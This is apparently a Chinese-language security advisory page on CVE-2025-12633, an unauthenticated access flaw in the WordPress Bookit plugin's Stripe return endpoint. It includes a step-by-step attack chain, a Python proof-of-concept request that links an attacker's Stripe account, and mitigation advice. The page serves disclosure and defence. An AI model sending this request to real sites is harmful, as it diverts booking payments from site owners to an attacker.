IPBUF安全漏洞报告
English
CVE-2025-12633 CVSS 7.5 高危

CVE-2025-12633 WordPress Bookit插件Stripe支付接口未授权访问漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-12633
漏洞类型
访问控制缺失
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Booking Calendar | Appointment Booking | Bookit (WordPress插件)

相关标签

访问控制REST APIWordPress插件Stripe支付未授权访问权限绕过BookitCVE-2025-12633高危漏洞

漏洞概述

CVE-2025-12633是WordPress Bookit插件中的一个高危安全漏洞,CVSS评分7.5。该漏洞存在于插件的REST API接口中,由于缺少适当的权限验证检查,未认证的远程攻击者可以访问受保护的Stripe支付返回端点。具体来说,插件的'/wp-json/bookit/v1/commerce/stripe/return' REST API端点没有验证请求者是否具有合法的操作权限,攻击者可以利用此漏洞将自己的Stripe账户与受害者网站绑定,从而非法接收本应支付给网站管理员的款项。此漏洞影响Bookit插件2.5.0及以下所有版本,攻击复杂度低,无需任何用户交互即可实施攻击,对系统完整性造成严重影响。

技术细节

漏洞根源在于WordPress Bookit插件的REST API端点实现中缺少current_user_can()或同等权限检查函数。攻击者只需构造恶意的HTTP请求到'/wp-json/bookit/v1/commerce/stripe/return'端点,即可绕过身份验证机制。该端点本应仅允许已认证且具有正确权限的用户完成Stripe账户连接操作,但由于权限检查缺失,任何匿名用户都能访问此功能。攻击者将自己的Stripe Connect账户ID作为参数传入,插件会将其与网站支付系统关联,导致后续的预约付款直接进入攻击者账户。漏洞利用无需特殊技术门槛,攻击者可自动化批量扫描使用该插件的WordPress站点并实施攻击。修复版本为2.5.1,主要变更是在REST端点中添加了权限验证逻辑。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描互联网上的WordPress站点,识别安装有Bookit插件(版本<=2.5.0)的网站
STEP 2
步骤2: 创建恶意Stripe账户
攻击者在Stripe平台注册一个Stripe Connect商户账户,用于接收非法转移的付款
STEP 3
步骤3: 构造恶意请求
攻击者构造HTTP GET请求到受害站点的/wp-json/bookit/v1/commerce/stripe/return端点,携带攻击者的Stripe账户ID和授权码
STEP 4
步骤4: 绕过权限验证
由于端点缺少current_user_can()权限检查,攻击者的未认证请求直接通过验证
STEP 5
步骤5: 账户绑定
插件将攻击者的Stripe账户与受害网站的支付系统绑定,设置为主要收款账户
STEP 6
步骤6: 非法收款
当网站有用户进行预约付款时,资金直接进入攻击者的Stripe账户,造成经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12633 PoC - Unauthenticated Stripe Account Connection # Target: WordPress site with Bookit plugin <= 2.5.0 target_url = "https://vulnerable-site.com" api_endpoint = "/wp-json/bookit/v1/commerce/stripe/return" # Malicious Stripe Connect account ID (attacker controlled) malicious_stripe_account = "acct_1234567890abcdef" # Construct the malicious request params = { "stripe_account_id": malicious_stripe_account, "code": "ac_xxxxxxxxxxxxx", # Malicious authorization code "state": "bookit_stripe_connect" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-12633-PoC)" } # Send unauthenticated request to exploit the vulnerability response = requests.get( f"{target_url}{api_endpoint}", params=params, headers=headers, verify=False ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Exploit successful - Stripe account linked") else: print("[-] Exploit failed")

影响范围

Bookit插件 <= 2.5.0 (所有版本)

防御指南

临时缓解措施
临时缓解措施:1) 在Web服务器层面限制对/wp-json/bookit/v1/commerce/stripe/*路径的访问,添加IP白名单或临时禁用该功能;2) 检查wp_options表中bookit_stripe相关配置,确认是否存在未授权的Stripe账户绑定;3) 使用WordPress安全插件(如Wordfence)提供额外的防护层;4) 考虑暂时禁用Bookit插件的Stripe支付功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表